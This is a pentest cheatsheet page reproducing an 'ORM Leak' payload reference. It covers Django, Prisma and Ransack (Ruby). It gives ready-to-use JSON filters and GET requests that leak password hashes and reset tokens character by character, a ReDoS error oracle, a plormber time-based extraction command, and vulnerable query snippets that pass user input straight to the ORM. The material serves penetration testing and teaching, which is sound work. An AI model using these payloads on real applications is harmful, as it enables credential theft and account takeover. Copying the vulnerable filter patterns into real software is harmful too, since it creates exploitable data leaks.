daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

index.md (7988B)


      1 ---
      2 title: "ORM Leak"
      3 topic: "ORM Leak"
      4 topicSlug: "orm-leak"
      5 sourcePath: "ORM Leak/README.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/ORM%20Leak/README.md"
      7 sha: "3ac27901c711"
      8 isReadme: true
      9 ---
     10 
     11 # ORM Leak
     12 
     13 > An ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of ORM queries. This can happen if the application returns raw error messages, debug information, or allows attackers to manipulate queries in ways that reveal underlying data.
     14 
     15 ## Summary
     16 
     17 * [Django (Python)](#django-python)
     18     * [Query filter](#query-filter)
     19     * [Relational Filtering](#relational-filtering)
     20         * [One-to-One](#one-to-one)
     21         * [Many-to-Many](#many-to-many)
     22     * [Error-based leaking - ReDOS](#error-based-leaking---redos)
     23 * [Prisma (Node.JS)](#prisma-nodejs)
     24     * [Relational Filtering](#relational-filtering-1)
     25         * [One-to-One](#one-to-one-1)
     26         * [Many-to-Many](#many-to-many-1)
     27 * [Ransack (Ruby)](#ransack-ruby)
     28 * [CVE](#cve)
     29 * [References](#references)
     30 
     31 ## Django (Python)
     32 
     33 The following code is a basic example of an ORM querying the database.
     34 
     35 ```py
     36 users = User.objects.filter(**request.data)
     37 serializer = UserSerializer(users, many=True)
     38 ```
     39 
     40 The problem lies in how the Django ORM uses keyword parameter syntax to build QuerySets. By utilizing the unpack operator (`**`), users can dynamically control the keyword arguments passed to the filter method, allowing them to filter results according to their needs.
     41 
     42 ### Query filter
     43 
     44 The attacker can control the column to filter results by.
     45 The ORM provides operators for matching parts of a value. These operators can utilize the SQL LIKE condition in generated queries, perform regex matching based on user-controlled patterns, or apply comparison operators such as < and >.
     46 
     47 ```json
     48 {
     49   "username": "admin",
     50   "password__startswith": "p"
     51 }
     52 ```
     53 
     54 Interesting filter to use:
     55 
     56 * `__startswith`
     57 * `__contains`
     58 * `__regex`
     59 
     60 ### Relational Filtering
     61 
     62 Let's use this great example from [PLORMBING YOUR DJANGO ORM, by Alex Brown](https://www.elttam.com/blog/plormbing-your-django-orm/)
     63 
     64 ![UML-example-app-simplified-highlight](https://cdn.prod.website-files.com/6971f0e051b588235e8acf7b/69c28ab386b7948b108ecc8b_69b98986947782073459457e_UML-example-app-simplified-highlight1.avif)
     65 
     66 We can see 2 type of relationships:
     67 
     68 * One-to-One relationships
     69 * Many-to-Many Relationships
     70 
     71 #### One-to-One
     72 
     73 Filtering through user that created an article, and having a password containing the character `p`.
     74 
     75 ```json
     76 {
     77   "created_by__user__password__contains": "p"
     78 }
     79 ```
     80 
     81 #### Many-to-Many
     82 
     83 Almost the same thing but you need to filter more.
     84 
     85 * Get the user IDS: `created_by__departments__employees__user__id`
     86 * For each ID, get the username: `created_by__departments__employees__user__username`
     87 * Finally, leak their password hash: `created_by__departments__employees__user__password`
     88 
     89 Use multiple filters in the same request:
     90 
     91 ```json
     92 {
     93   "created_by__departments__employees__user__username__startswith": "p",
     94   "created_by__departments__employees__user__id": 1
     95 }
     96 ```
     97 
     98 ### Error-based leaking - ReDOS
     99 
    100 If Django use MySQL, you can also abuse a ReDOS to force an error when the filter does not properly match the condition.
    101 
    102 ```json
    103 {"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}
    104 // => Return something
    105 
    106 {"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}  
    107 // => Error 500 (Timeout exceeded in regular expression match)
    108 ```
    109 
    110 ## Prisma (Node.JS)
    111 
    112 **Tools**:
    113 
    114 * [elttam/plormber](https://github.com/elttam/plormber) - tool for exploiting ORM Leak time-based vulnerabilities
    115 
    116     ```ps1
    117     plormber prisma-contains \
    118         --chars '0123456789abcdef' \
    119         --base-query-json '{"query": {PAYLOAD}}' \
    120         --leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \
    121         --contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \
    122         --verbose-stats \
    123         https://some.vuln.app/articles/time-based;
    124     ```
    125 
    126 **Example**:
    127 
    128 Example of an ORM leak in Node.JS with Prisma.
    129 
    130 ```js
    131 const posts = await prisma.article.findMany({
    132   where: req.query.filter as any // Vulnerable to ORM Leaks
    133 })
    134 ```
    135 
    136 Use the include to return all the fields of user records that have created an article
    137 
    138 ```json
    139 {
    140   "filter": {
    141     "include": {
    142       "createdBy": true
    143     }
    144   }
    145 }
    146 ```
    147 
    148 Select only one field
    149 
    150 ```json
    151 {
    152   "filter": {
    153     "select": {
    154       "createdBy": {
    155         "select": {
    156           "password": true
    157         }
    158       }
    159     }
    160   }
    161 }
    162 ```
    163 
    164 ### Relational Filtering
    165 
    166 #### One-to-One
    167 
    168 * [`filter[createdBy][resetToken][startsWith]=06`](http://127.0.0.1:9900/articles?filter[createdBy][resetToken][startsWith]=)
    169 
    170 #### Many-to-Many
    171 
    172 ```json
    173 {
    174   "query": {
    175     "createdBy": {
    176       "departments": {
    177         "some": {
    178           "employees": {
    179             "some": {
    180               "departments": {
    181                 "some": {
    182                   "employees": {
    183                     "some": {
    184                       "departments": {
    185                         "some": {
    186                           "employees": {
    187                             "some": {
    188                               "{fieldToLeak}": {
    189                                 "startsWith": "{testStartsWith}"
    190                               }
    191                             }
    192                           }
    193                         }
    194                       }
    195                     }
    196                   }
    197                 }
    198               }
    199             }
    200           }
    201         }
    202       }
    203     }
    204   }
    205 }
    206 ```
    207 
    208 ## Ransack (Ruby)
    209 
    210 Only in Ransack < `4.0.0`.
    211 
    212 ![ransack_bruteforce_overview](https://assets-global.website-files.com/5f6498c074436c349716e747/63ceda8f7b5b98d68365bdee_ransack_bruteforce_overview-p-1600.png)
    213 
    214 * Extracting the `reset_password_token` field of a user
    215 
    216     ```ps1
    217     GET /posts?q[user_reset_password_token_start]=0 -> Empty results page
    218     GET /posts?q[user_reset_password_token_start]=1 -> Empty results page
    219     GET /posts?q[user_reset_password_token_start]=2 -> Results in page
    220 
    221     GET /posts?q[user_reset_password_token_start]=2c -> Empty results page
    222     GET /posts?q[user_reset_password_token_start]=2f -> Results in page
    223     ```
    224 
    225 * Target a specific user and extract his `recoveries_key`
    226 
    227     ```ps1
    228     GET /labs?q[creator_roles_name_cont]=​superadmin​​&q[creator_recoveries_key_start]=0
    229     ```
    230 
    231 ## CVE
    232 
    233 * [CVE-2023-47117: Label Studio ORM Leak](https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6hjj-gq77-j4qw)
    234 * [CVE-2023-31133: Ghost CMS ORM Leak](https://github.com/TryGhost/Ghost/security/advisories/GHSA-r97q-ghch-82j9)
    235 * [CVE-2023-30843: Payload CMS ORM Leak](https://github.com/payloadcms/payload/security/advisories/GHSA-35jj-vqcf-f2jf)
    236 
    237 ## References
    238 
    239 * [ORM Injection - HackTricks - July 30, 2024](https://web.archive.org/web/20241230091620/https://book.hacktricks.xyz/pentesting-web/orm-injection)
    240 * [ORM Leak Exploitation Against SQLite - Louis Nyffenegger - July 30, 2024](https://web.archive.org/web/20260118225011/https://pentesterlab.com/blog/orm-leak-with-sqlite3)
    241 * [ORM Leaking More Than You Joined For - Alex Brown - December 18, 2025](https://web.archive.org/web/20251218130815/https://www.elttam.com/blog/leaking-more-than-you-joined-for/)
    242 * [plORMbing your Django ORM - Alex Brown - June 24, 2024](https://web.archive.org/web/20240624071414/https://www.elttam.com/blog/plormbing-your-django-orm/)
    243 * [plORMbing your Prisma ORM with Time-based Attacks - Alex Brown - July 9, 2024](https://web.archive.org/web/20240709043351/https://www.elttam.com/blog/plorming-your-primsa-orm/)
    244 * [QuerySet API reference - Django - August 8, 2024](https://web.archive.org/web/20240625055642/https://docs.djangoproject.com/en/5.1/ref/models/querysets/)
    245 * [Ransacking your password reset tokens - Lukas Euler - January 26, 2023](https://web.archive.org/web/20251211204930/https://positive.security/blog/ransack-data-exfiltration)